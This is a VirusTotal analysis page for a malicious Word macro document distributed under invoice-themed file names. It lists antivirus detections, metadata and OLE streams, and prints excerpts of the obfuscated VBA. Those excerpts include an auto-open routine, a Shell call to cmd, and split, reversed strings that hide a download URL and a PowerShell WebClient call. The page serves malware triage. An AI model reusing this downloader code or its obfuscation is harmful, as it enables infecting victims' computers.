Antivirus scan for 433718793d22b4b76d32ff24f4073c4f0695faa987b8e7f097662a935b2e3e02 at 2018-04-26 11:28:24 UTC

Antivirus	Result	Update
AegisLab	Vba.O.Elbp!c	20180426
Arcabit	HEUR.VBA.Trojan.e	20180426
AVware	LooksLike.Macro.Malware.k (v)	20180426
Fortinet	VBA/Agent.HXE!tr.dldr	20180426
Ikarus	Win32.Outbreak	20180426
MAX	malware (ai score=94)	20180426
McAfee-GW-Edition	BehavesLike.Downloader.cl	20180425
Microsoft	Trojan:Script/Cloxer.A!cl	20180426
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi	20180426
Qihoo-360	virus.office.obfuscated.4	20180426
VIPRE	LooksLike.Macro.Malware.k (v)	20180426
Zoner	Probably W97Shell	20180425
Ad-Aware		20180426
AhnLab-V3		20180426
Alibaba		20180426
ALYac		20180426
Antiy-AVL		20180426
Avast		20180426
Avast-Mobile		20180425
AVG		20180426
Avira (no cloud)		20180426
Babable		20180406
Baidu		20180426
BitDefender		20180426
Bkav		20180424
CAT-QuickHeal		20180426
ClamAV		20180426
CMC		20180426
Comodo		20180425
CrowdStrike Falcon (ML)		20180418
Cybereason		20180225
Cylance		20180426
Cyren		20180426
DrWeb		20180426
eGambit		20180426
Emsisoft		20180426
Endgame		20180403
ESET-NOD32		20180426
F-Prot		20180426
F-Secure		20180426
GData		20180426
Sophos ML		20180121
Jiangmin		20180426
K7AntiVirus		20180426
K7GW		20180426
Kaspersky		20180426
Kingsoft		20180426
Malwarebytes		20180426
McAfee		20180426
eScan		20180426
nProtect		20180426
Palo Alto Networks (Known Signatures)		20180426
Panda		20180425
Rising		20180426
SentinelOne (Static ML)		20180225
Sophos AV		20180426
SUPERAntiSpyware		20180426
Symantec		20180426
Symantec Mobile Insight		20180424
Tencent		20180426
TheHacker		20180426
TrendMicro		20180426
TrendMicro-HouseCall		20180426
Trustlook		20180426
VBA32		20180426
ViRobot		20180426
Webroot		20180426
Yandex		20180425
Zillya		20180425
ZoneAlarm by Check Point		20180426

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-04-26 08:10:00

author

Parojo

title

Parojo

page_count

last_saved

2018-04-26 08:10:00

revision_number

application_name

Microsoft Office Word

character_count

template

Normal.dotm

code_page

Latin I

subject

Parojoxamivazhe

Document summary

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/OUzNkvSathznO

[+] Macros/VBA/RDqCZIiTtfunT

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] Macros/VBA/fGOoopCMUmZT

[+] Macros/VBA/fzcJdPKQGBU

[+] WordDocument

Macros and VBA code streams

[+] fzcJdPKQGBU.cls Macros/VBA/fzcJdPKQGBU 3441 bytes

obfuscated

Sub qdspn(tkPEw)
Select Case GUNGw
         Case 79172
            iAdSb = Hex(tRYVka - ChrW(TAUnO))
            jijzj = CByte(66305)
            CkQrDO = QfPNK
         Case 32411
            uuUPf = drGAZs
            IpzCwk = Round(54408)
            IAhSVN = Log(nkGdz)
End Select
End Sub
Sub lnMiBE(LdQRK)
Select Case EaiNQZ
         Case 78002
            mtnzJP = Hex(EVtvv - ChrW(WBlTvf))
            PijPH = CByte(88727)
            dEXqD = OzuYk
         Case 84700
            wGIXVP = iZztUt
            VHJXqP = Round(12120)
            zzCrmY = Log(HMiDq)
End Select
Select Case IWMtr
         Case 11096
            EHiVJb = Hex(skAuci - ChrW(HKUdd))
            LRkKR = CByte(6615)
            Mkzdw = frsTh
         Case 65157
            fdWMo = HJBMrP
            qPmWT = Round(7432)
            DjHmW = Log(TDIOqn)
End Select
Select Case SjiuYW
         Case 82626
            NKYGNj = Hex(QFVzd - ChrW(HzWkpr))
            EBmVE = CByte(38035)
            GhrwzM = pVjjI
         Case 24269
            nDtqJ = KkMKj
            jrMYDB = Round(88891)
            MjNXCQ = Log(RdmDj)
End Select
End Sub
Sub GQztiu(mVUjOS)
Select Case TdzfiO
         Case 48428
            EpVosE = Hex(GZHDzd - ChrW(OiYHvB))
            OjIjnz = CByte(77637)
            HYRFSM = XqBut
         Case 28876
            ZLTzsO = HXTXw
            JNFFGE = Round(51567)
            jltKO = Log(HiFAH)
End Select
Select Case SHwPoF
         Case 49908
            zAwiV = Hex(wKkwo - ChrW(odqaZp))
            HLYSTP = CByte(40922)
            BQpQB = NSimLo
         Case 85364
            wzIMS = oQWqzc
            CbhfS = Round(1186)
            wuvjmL = Log(LHnOAk)
End Select
End Sub
Sub Autoopen()
On Error Resume Next
Select Case ObKGzh
         Case 67531
            tzRZLL = Hex(BHtntL - ChrW(CcZHM))
            JjbwrU = CByte(76217)
            WYUSP = AwONz
         Case 29737
            GfUMr = LYihpV
            cKXTi = Round(83163)
            qijYV = Log(ACFNLH)
End Select
TwAnp [... continues ...]

[+] OUzNkvSathznO.bas Macros/VBA/OUzNkvSathznO 11437 bytes

obfuscated

Sub MRYlp(klWQnb)
Select Case pjfwja
         Case 35071
            jzHKjw = Hex(LYwOAh - ChrW(BJcQv))
            dwjaJ = CByte(93089)
            rNjQMw = dTRaIp
         Case 92253
            zSYbRn = WVSfNz
            OhBjVz = Round(94922)
            iCDmYi = Log(BIGJCB)
End Select
End Sub
Function AInfKjatEJwj()
On Error Resume Next
Select Case YUszVn
         Case 54592
            AlMbi = Hex(dSJCjM - ChrW(MbPjE))
            AqzIn = CByte(33110)
            nfsKz = ORQTIp
         Case 63588
            OmDCDQ = MtcSR
            biCcZ = Round(20121)
            HwawF = Log(wEvHH)
End Select
ZJdbB = jbNMY("l.Jv2CO,'/m'+'oc.'+'e'+'zdara'+'vt/'+'/'+':ptp", aINAN - aINAN + 2 + aINAN - aINAN, aINAN - aINAN + 37 + aINAN - aINAN)
Select Case XkmEuG
         Case 67994
            wblPr = Hex(NnmOri - ChrW(VjQLEz))
            RQQmVc = CByte(89743)
            paHWqJ = jMLHZ
         Case 83917
            SjQYL = DWspI
            jiKztP = Round(71549)
            wMGUsV = Log(ADAzY)
End Select
Select Case uuNZcJ
         Case 73806
            ihrQEf = Hex(qmiqO - ChrW(JzjiGO))
            ozNRY = CByte(70104)
            jnzXf = izQCff
         Case 78501
            FNCkW = kwdqW
            ZLfUas = Round(38145)
            rDoHK = Log(wMhhCb)
End Select
EaQzAjAUzs = jbNMY("D7Vo'+'th '+'3o4 = X'+'CDAqb'+'6'+';)331282 ,00001(txen'+'.dsa'+'dasn'+'qb6 = '+'BSNqb6;'+'t'+'ne'+'il'+'CbeW.teN.me'+'tsyS )3o'+'4tce'+'jbo'+'-'+'3o4+3o4w3o4'S0pE", HwkVz - HwkVz + 5 + HwkVz - HwkVz, HwkVz - HwkVz + 155 + HwkVz - HwkVz)
Select Case simKj
         Case 2661
            ljJHA = Hex(OTSvcn - ChrW(fcCZu))
            vNYPwn = CByte(91149)
            jctKt = vXItjH
         Case 47782
            ftlEP = uQjMP
            GKNUM = Round(37735)
            QirZl = Log(wPHUIs)
End Select
Select Case pPvop
         Case 20165
            fYOzr = Hex(DzWfYL - ChrW(TVkPOJ))
            pChUvv = CByte(17345)
            DcYcZp = DiOZhO
         Case 26849
            wkPJD = fjaj [... continues ...]

[+] fGOoopCMUmZT.bas Macros/VBA/fGOoopCMUmZT 33249 bytes

obfuscated run-file

Sub FvQjiczDnOsQA()
On Error Resume Next
Select Case UNntV
         Case 60004
            UDpSnE = Hex(jsCUAc - ChrW(bzSRaL))
            ssWYnW = CByte(66630)
            htEoLl = bOuXUT
         Case 89310
            XQYVs = UbuTC
            LStziw = Round(69539)
            JPLQM = Log(VEXCqL)
End Select
End Sub
Sub TwAnpriVPuCRCS(NVsiHNFjMpkf As String)
On Error Resume Next
Select Case jwIPAp
         Case 68880
            RJVJJ = Hex(JUuoYj - ChrW(BHEIIK))
            QDscri = CByte(59161)
            lkhGA = sFqHDA
         Case 23246
            dNScOi = DGsfpw
            RsRfC = Round(80115)
            JHSikJ = Log(OBEJi)
End Select
Select Case ZiKPPA
         Case 54935
            ipbKBd = Hex(zpYwWA - ChrW(GAtdU))
            pFnVHQ = CByte(77700)
            hCPCNC = RqYijN
         Case 31355
            jLLfG = KWlfn
            YBFDlp = Round(3344)
            nIvJw = Log(oJVvob)
End Select
Shell uHKvkiOXj + Chr(vbKeyC) + NVsiHNFjMpkf + XZKGQlUzqL + YXQCh, OzzCL + 0 + OzzCL
Select Case jBBqq
         Case 22050
            iuvIB = Hex(nsGiY - ChrW(niYXAz))
            QZVjus = CByte(4771)
            iWfnj = sbVpL
         Case 92183
            YHRsrS = jLdAss
            tILBPw = Round(80299)
            WbrrV = Log(GChpBN)
End Select
End Sub
Function wWiiGYRcEw()
On Error Resume Next
Select Case UUIol
         Case 4519
            iMZWcR = Hex(zCiKdX - ChrW(jPwoY))
            GILij = CByte(92433)
            VVLJz = nmZJKK
         Case 39866
            jUbTSk = nELANi
            VBqqjP = Round(44507)
            qUNhkj = Log(GldDk)
End Select
ZJdbB = jbNMY("l.Jv2CO,szZPPMMrbw% tesp", mCICcH - mCICcH + 2 + mCICcH - mCICcH, mCICcH - mCICcH + 15 + mCICcH - mCICcH)
Select Case njONL
         Case 22858
            RAJjNJ = Hex(YSUiE - ChrW(CdHGl))
            KjzZW = CByte(19986)
            EhRccU = pMqKi
         Case 38812
            PioQzw = XKcIc
            BBUan = Round(47861)
            EiHqs = Log(AWpnw)
End Select
Select Case mwV [... continues ...]

[+] RDqCZIiTtfunT.bas Macros/VBA/RDqCZIiTtfunT 8639 bytes

obfuscated

Function mutMVdvtVnWGmS()
On Error Resume Next
Select Case cdwqd
         Case 32654
            cjFNW = Hex(UwUVB - ChrW(VUkZJ))
            iXmaS = CByte(3701)
            iNjBX = TmsrZr
         Case 68302
            GcdwWQ = wtrDph
            tQBNDJ = Round(84763)
            kwzci = Log(ccLiZZ)
End Select
kWkZABY = jbNMY("VPU    %^c^E^p^S^m^o^c^%wjQImZ", BIlUh - BIlUh + 7 + BIlUh - BIlUh, BIlUh - BIlUh + 21 + BIlUh - BIlUh)
Select Case vJcwl
         Case 45334
            TszhLU = Hex(cqLnZr - ChrW(rjBuh))
            VRfVP = CByte(16358)
            zHZRSm = iszPQ
         Case 27027
            zmAuzi = DcbBD
            KBMbS = Round(6284)
            vVQtVn = Log(WwhldT)
End Select
Select Case GmkBI
         Case 70705
            wMHwwE = Hex(MGLla - ChrW(UfSnt))
            OlCIvj = CByte(30043)
            FCzGj = cMzsYv
         Case 61492
            bhqrs = CaUwH
            VuvDLP = Round(67787)
            SKGFC = Log(mHhZOz)
End Select
owiswslDzBp = jbNMY("Z@     %^c^E^HtwU", VffbP - VffbP + 5 + VffbP - VffbP, VffbP - VffbP + 11 + VffbP - VffbP)
Select Case CJVREr
         Case 82003
            fhCwHY = Hex(RujJMc - ChrW(RaloLm))
            sviKcT = CByte(70897)
            lHYsEn = EGvIEq
         Case 76508
            ElXJsu = PfEDml
            oiFwr = Round(16369)
            lUYGn = Log(itDhE)
End Select
Select Case mblZl
         Case 53530
            Impsbz = Hex(IzjGSo - ChrW(FzLcN))
            notJl = CByte(86715)
            TzzkW = KfUOdp
         Case 39727
            KIMwZ = mjcZz
            HITsj = Round(14372)
            bZKBwk = Log(dlllin)
End Select
upahzWEzGjD = jbNMY("KioKiiLFjOdprY midtjwNzW dm89", CdZFJ - CdZFJ + 3 + CdZFJ - CdZFJ, CdZFJ - CdZFJ + 20 + CdZFJ - CdZFJ)
Select Case KdjhMM
         Case 49241
            mVYnzX = Hex(LbiVG - ChrW(kzGQMl))
            AvrrJi = CByte(93861)
            nKTvIr = pdIlQb
         Case 50546
            CMhzZ = ZRAajj
            ijdUaV = Round(46212)
            OazCz = Log( [... continues ...]

ExifTool file metadata

File identification

MD5 38b92cca6169486e95dae54450ab3ae8

SHA1 9f27f14c0aeea82c12a519e28da68a148e9557ee

SHA256 433718793d22b4b76d32ff24f4073c4f0695faa987b8e7f097662a935b2e3e02

ssdeep

3072:fRH5ea5/L44OD2OOrZ+VnpSIL/72Wm3WZ+iB33roDmpv45iZKyKItdzYS59c:fRZea2TOVyppL/72Wm3WQU33L8qlDc9

File size 182.0 KB ( 186368 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Parojo, Subject: Parojoxamivazhe, Author: Parojo, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Apr 25 07:10:00 2018, Last Saved Time/Date: Wed Apr 25 07:10:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-04-26 10:18:02 UTC ( 9 months, 4 weeks ago )

Last submission 2018-05-14 23:53:39 UTC ( 9 months, 1 week ago )

File names

Outstanding Invoices.doc
Invoice 14525381 April.doc
Invoice for you.doc
95.doc
Service Report (0859).doc
Inv 802299 - PO #2K020971.doc
75.doc
Invoice.doc
Scan.doc
Inv 972041 - PO #9U954883.doc
Document needed.doc
Paid Invoice & Credit Card Receipt.doc
Open Past Due Orders.doc
95.doc
2018.doc
Important Please Read.doc
5 Past Due Invoices.doc
Open invoices.doc
Service Invoice.doc
Invoices attached.doc
Invoice receipt.doc
Sales Invoice.doc
Invoice Number 800528.doc

SHA256:	433718793d22b4b76d32ff24f4073c4f0695faa987b8e7f097662a935b2e3e02
Detection ratio:	12 / 59
Analysis date:	2018-04-26 11:28:24 UTC ( 9 months, 4 weeks ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in